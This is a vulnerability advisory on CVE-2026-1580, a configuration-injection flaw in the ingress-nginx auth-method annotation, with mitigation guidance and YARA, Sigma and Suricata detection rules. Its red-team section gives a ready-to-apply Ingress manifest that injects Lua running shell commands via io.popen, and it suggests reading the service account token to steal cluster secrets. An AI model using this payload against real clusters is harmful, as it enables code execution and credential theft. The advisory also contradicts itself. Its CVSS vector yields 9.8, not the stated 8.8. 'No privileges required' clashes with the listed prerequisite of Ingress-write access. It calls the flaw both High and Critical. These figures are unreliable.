CVE-2026-1580
Executive Summary
CVE-2026-1580 is a critical security vulnerability in the ingress-nginx Kubernetes ingress controller. The flaw resides in the processing of the nginx.ingress.kubernetes.io/auth-method annotation, which allows an attacker to inject arbitrary nginx configuration directives. This injection can lead to remote code execution (RCE) within the ingress-nginx controller pod and unauthorized disclosure of Kubernetes Secrets that the controller has access to. In a default installation, the controller has cluster-wide read access to all Secrets, making this vulnerability particularly severe. The CVSS score is 8.8 (High), and no public exploit or patch is currently available. This report provides a comprehensive technical analysis, detection strategies, and mitigation guidance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
- Privileges Required: None (PR:N) – No authentication is needed to trigger the vulnerability.
- User Interaction: None (UI:N) – The attack does not require any user action.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Full disclosure of Secrets accessible to the controller.
- Integrity Impact: High (I:H) – Arbitrary code execution allows modification of system state.
- Availability Impact: High (A:H) – Potential for denial of service or full compromise.
Threat Level: Critical. The combination of network exploitability, no required privileges, and high impact on confidentiality, integrity, and availability makes this a top-priority vulnerability for any organization using ingress-nginx.
Deep Dive & Mechanics
The vulnerability exists in the way ingress-nginx processes the nginx.ingress.kubernetes.io/auth-method annotation. This annotation is intended to specify the HTTP authentication method (e.g., basic, digest, bearer). However, due to insufficient input sanitization, an attacker can inject arbitrary nginx configuration directives by crafting a malicious annotation value.
Technical Flow:
- An attacker creates or modifies a Kubernetes Ingress resource with a malicious
nginx.ingress.kubernetes.io/auth-methodannotation. - The ingress-nginx controller reads this annotation and, without proper validation, concatenates it directly into the generated nginx configuration file.
- The injected configuration can include nginx directives such as
proxy_pass,set,access_by_lua_block, orcontent_by_lua_block, enabling arbitrary code execution. - The attacker can then execute shell commands, read Secrets mounted in the controller pod, or pivot to other cluster resources.
Root Cause: Lack of input validation and sanitization for the auth-method annotation value. The controller should restrict this annotation to a predefined set of allowed values (e.g., basic, digest, bearer).
Impact: Full compromise of the ingress-nginx controller pod, which in default installations has access to all Secrets in the cluster. This can lead to lateral movement, privilege escalation, and data exfiltration.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Ingress controller reads annotation
authMethod := ingress.Annotations["nginx.ingress.kubernetes.io/auth-method"]
// Directly used in config generation without sanitization
config += "auth_method " + authMethod + ";"
Patched Code (Expected):
// Whitelist allowed values
allowedMethods := map[string]bool{"basic": true, "digest": true, "bearer": true}
authMethod := ingress.Annotations["nginx.ingress.kubernetes.io/auth-method"]
if !allowedMethods[authMethod] {
// Reject or sanitize
authMethod = "off"
}
config += "auth_method " + authMethod + ";"
Note: Since no official patch is available, the above is a recommended fix. The vendor should implement strict input validation and possibly use a templating engine that escapes special characters.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Access to create or modify an Ingress resource in a Kubernetes cluster with ingress-nginx installed.
- The ingress-nginx controller must be running with default permissions (cluster-wide Secret access).
Exploitation Steps:
- Create a malicious Ingress resource with a crafted annotation:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: malicious-ingress
annotations:
nginx.ingress.kubernetes.io/auth-method: |
basic;
set $evil "test";
access_by_lua_block {
local handle = io.popen("id")
local result = handle:read("*a")
handle:close()
ngx.log(ngx.ERR, result)
}
spec:
ingressClassName: nginx
rules:
- host: evil.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: dummy-service
port:
number: 80
- Apply the Ingress:
kubectl apply -f malicious-ingress.yaml - The controller will generate a configuration with the injected Lua code, executing
idand logging the output. - To exfiltrate Secrets, modify the Lua block to read
/var/run/secrets/kubernetes.io/serviceaccount/tokenor other mounted Secrets.
Note: This is a conceptual exploit. Actual exploitation may require adjustments based on the specific ingress-nginx version and environment.
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for unusual Ingress annotations, especially
nginx.ingress.kubernetes.io/auth-methodwith values other thanbasic,digest, orbearer. - Audit ingress-nginx controller logs for errors or unexpected configuration reloads.
- Use admission controllers (e.g., OPA/Gatekeeper) to enforce annotation whitelisting.
Hunting Queries:
- Kubernetes Audit Logs: Look for
createorpatchevents oningressesresources with annotationnginx.ingress.kubernetes.io/auth-methodcontaining suspicious characters (e.g.,;,{,}). - Controller Logs: Search for patterns like
auth_methodfollowed by unexpected values.
Indicators of Compromise (IOCs)
- Network: Outbound connections from the ingress-nginx controller pod to unexpected external IPs (data exfiltration).
- File System: Unexpected files in the controller pod (e.g.,
/tmp/evil.sh). - Process: Unusual processes spawned by the nginx worker processes (e.g.,
id,curl,wget). - Kubernetes: Ingress resources with
nginx.ingress.kubernetes.io/auth-methodannotation containing special characters or multi-line values. - Logs: Controller logs containing error messages like
lua entry thread abortedor unexpected nginx configuration syntax errors.
Detection Engineering
YARA Rule
rule CVE_2026_1580_Ingress_Nginx_Auth_Method_Injection {
meta:
description = "Detects malicious auth-method annotation in ingress-nginx"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-1580"
strings:
$annotation = "nginx.ingress.kubernetes.io/auth-method"
$suspicious1 = "access_by_lua_block"
$suspicious2 = "content_by_lua_block"
$suspicious3 = "set $"
$suspicious4 = "proxy_pass"
$suspicious5 = "io.popen"
condition:
$annotation and any of ($suspicious*)
}
Sigma Rule
title: CVE-2026-1580 - Ingress-Nginx Auth-Method Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-1580 via malicious auth-method annotation
author: Valters IT
date: 2026-01-01
logsource:
product: kubernetes
service: audit
detection:
selection:
verb: ["create", "patch"]
objectRef.resource: "ingresses"
objectRef.apiGroup: "networking.k8s.io"
annotation_match:
requestObject.metadata.annotations|contains: "nginx.ingress.kubernetes.io/auth-method"
suspicious_content:
requestObject.metadata.annotations|re: ".*(access_by_lua_block|content_by_lua_block|io\\.popen|proxy_pass).*"
condition: selection and annotation_match and suspicious_content
falsepositives:
- Legitimate use of advanced nginx features (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-1580 - Ingress-Nginx Auth-Method Injection Attempt"; flow:to_server; content:"nginx.ingress.kubernetes.io/auth-method"; http_header; pcre:"/(access_by_lua_block|content_by_lua_block|io\.popen|proxy_pass)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the annotation: If not required, remove the
nginx.ingress.kubernetes.io/auth-methodannotation from all Ingress resources. - Restrict controller permissions: Use RBAC to limit the controller's access to Secrets only in specific namespaces, not cluster-wide.
- Network segmentation: Isolate the ingress-nginx controller pod with network policies to prevent outbound data exfiltration.
Long-term Fix:
- Apply a patch from the vendor once available.
- Implement an admission webhook (e.g., OPA/Gatekeeper) to validate Ingress annotations and reject any that do not match a whitelist of allowed values.
- Upgrade to a patched version of ingress-nginx as soon as it is released.
Workaround:
- Use a custom nginx configuration template that escapes or validates the
auth-methodvalue before inclusion.
Valters IT